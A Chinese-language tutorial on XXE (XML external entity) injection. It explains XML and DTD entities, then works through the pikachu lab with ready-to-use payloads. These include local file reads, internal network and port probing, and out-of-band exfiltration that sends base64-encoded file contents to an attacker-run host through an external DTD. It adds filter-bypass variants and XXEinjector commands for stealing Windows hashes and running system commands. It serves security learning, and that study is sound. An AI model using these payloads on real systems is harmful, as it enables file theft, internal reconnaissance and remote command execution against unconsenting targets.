XML XXE漏洞 基础概念 1、xml基础概念 XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
2、XML与HTML的主要差异 XML被设计为传输和存储数据,其焦点是数据的内容。
HTML被设计用来显示数据,其焦点是数据的外观。
HTML旨在显示信息,而XML旨在传输信息。
3、xml示例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <!DOCTYPE note [ <!--定义此文档时note类型的文档--> <!ELEMENT note (to ,from ,heading ,body )> <!--定义note元素有四个元素--><!ELEMENT to (#PCDATA )> <!--定义to元素为"#PCDATA"类型--><!ELEMENT from (#PCDATA )> <!--定义from元素为"#PCDATA"类型--><!ELEMENT head (#PCDATA )> <!--定义head元素为"#PCDATA"类型--><!ELEMENT body (#PCDATA )> <!--定义body元素为"#PCDATA"类型-->]]]> <note > <to > Dave</to > <from > Tom</from > <head > Reminder</head > <body > You are a good man</body > </note >
DTD DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema。
DTD一般认为有两种引用或声明方式:
1、内部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。
2、外部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。
DTD实体有以下几种声明方式
内部实体 1 2 3 4 5 <!DOCTYPE note [ <!ENTITY a "admin" > ]> <note > &a</note >
参数实体 1 2 3 4 5 6 <!DOCTYPE note > [ <!ENTITY % b "<!ENTITY b1 " awsl">" > %b; ]> <note > &b1</note >
参数实体用% name
申明,引用时用%name;
,只能在DTD中申明,DTD中引用。
其余实体直接用name
申明,引用时用&name;
,只能在DTD中申明,可在xml文档中引用
外部实体 1 2 3 4 5 <!DOCTYPE note > [ <!ENTITY c SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php" > ]> <note > &c</note >
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:
上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有
靶场讲解 (pikachu xxe漏洞)
文件读取
1 2 3 4 <?xml version="1.0" ?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///d:/test.txt" > ]> <foo > &xxe; </foo >
内网探针或攻击内网应用(触发漏洞地址)
1 2 3 4 5 6 <?xml version = "1.0" encoding="UTF-8" ?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTYTY rabbit SYSTEM "http://192.168.1.4:80/index.txt" > ]> <foo > &rabbit; </foo >
上面的ip地址假设就是内网的一台服务器的ip地址。还可以进行一个端口扫描,看一下端口是否开放。
无回显-读取文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?xml version = "1.0"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt"> <!ENTITY % dtd SYSTEM "http://192.168.xx.xxx:80XX/test.dtd"> %dtd; %send; ]> test.dtd: <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.xx.xxx:80xx/?data=%file;'>" > %payload;
上面的url一般是自己的网站,通过第一步访问文件,然后再访问dtd文件,把读取到的数据赋给data,然后我们只需要再自己的网站日志,或者写个php脚本保存下来,就能看到读取到的文件数据了。
绕过 ENTITY SYSTEM file等关键词被过滤 使用编码方式绕过:UTF-16BE cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml
若http被过滤,可以
data://协议绕过 1 2 3 4 5 6 7 <?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % a " <!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'> " > %a; %b; ]> <test > &hhh; </test >
file://协议加文件上传 1 2 3 4 5 6 7 <?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % a SYSTEM "file:///var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg" > %a; ]> <!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd' >
php://filter协议加文件上传 1 2 3 4 5 6 7 8 9 10 11 <?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % a SYSTEM "php://filter/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg" > %a; ]> <test > &hhh; </test > <!ENTITY hhh SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php' >
1 2 3 4 5 6 7 8 9 10 <?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % a SYSTEM "php://filter/read=convert.base64-decode/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg" > %a; ]> <test > &hhh; </test > PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==
xxe工具 XXEinjector本身提供了非常非常丰富的操作选项,所以大家在利用XXEinjector进行渗透测试之前,请自习了解这些配置选项,以最大限度地发挥XXEinjector的功能。当然了,由于XXEinjector是基于Ruby开发的,所以Ruby运行环境就是必须的了。这里建议在kali环境下运行。
参数说明 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 --host 必填项– 用于建立反向链接的IP地址。(--host=192.168.0.2) --file 必填项- 包含有效HTTP请求的XML文件。(--file=/tmp/req.txt) --path 必填项-是否需要枚举目录 – 枚举路径。(--path=/etc) --brute 必填项-是否需要爆破文件 -爆破文件的路径。(--brute=/tmp/brute.txt) --logger 记录输出结果。 --rhost 远程主机IP或域名地址。(--rhost=192.168.0.3) --rport 远程主机的TCP端口信息。(--rport=8080) --phpfilter 在发送消息之前使用PHP过滤器对目标文件进行Base64编码。 --netdoc 使用netdoc协议。(Java). --enumports 枚举用于反向链接的未过滤端口。(--enumports=21,22,80,443,445) --hashes 窃取运行当前应用程序用户的Windows哈希。 --expect 使用PHP expect扩展执行任意系统命令。(--expect=ls ) --upload 使用Java jar向临时目录上传文件。(--upload=/tmp/upload.txt) --xslt XSLT注入测试。 --ssl 使用SSL。 --proxy 使用代理。(--proxy=127.0.0.1:8080) --httpport Set自定义HTTP端口。(--httpport=80) --ftpport 设置自定义FTP端口。(--ftpport=21) --gopherport 设置自定义gopher端口。(--gopherport=70) --jarport 设置自定义文件上传端口。(--jarport=1337) --xsltport 设置自定义用于XSLT注入测试的端口。(--xsltport=1337) --test 该模式可用于测试请求的有效。 --urlencode URL编码,默认为URI。 --output 爆破攻击结果输出和日志信息。(--output=/tmp/out.txt) --timeout 设置接收文件/目录内容的Timeout。(--timeout =20) --contimeout 设置与服务器断开连接的,防止DoS出现。(--contimeout=20) --fast 跳过枚举询问,有可能出现结果假阳性。 --verbose 显示verbose信息。
工具使用 枚举HTTPS应用程序中的/etc目录:
1 ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl
使用gopher(OOB方法)枚举/etc目录:
1 ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
二次漏洞利用:
1 ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt
使用HTTP带外方法和netdoc协议对文件进行爆破攻击:
1 ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc
通过直接性漏洞利用方式进行资源枚举:
1 ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
枚举未过滤的端口:
1 ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
窃取Windows哈希:
1 ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes
使用Java jar上传文件:
1 ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf
使用PHP expect执行系统指令:
1 ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls
测试XSLT注入:
1 ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt
记录请求信息:
1 ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt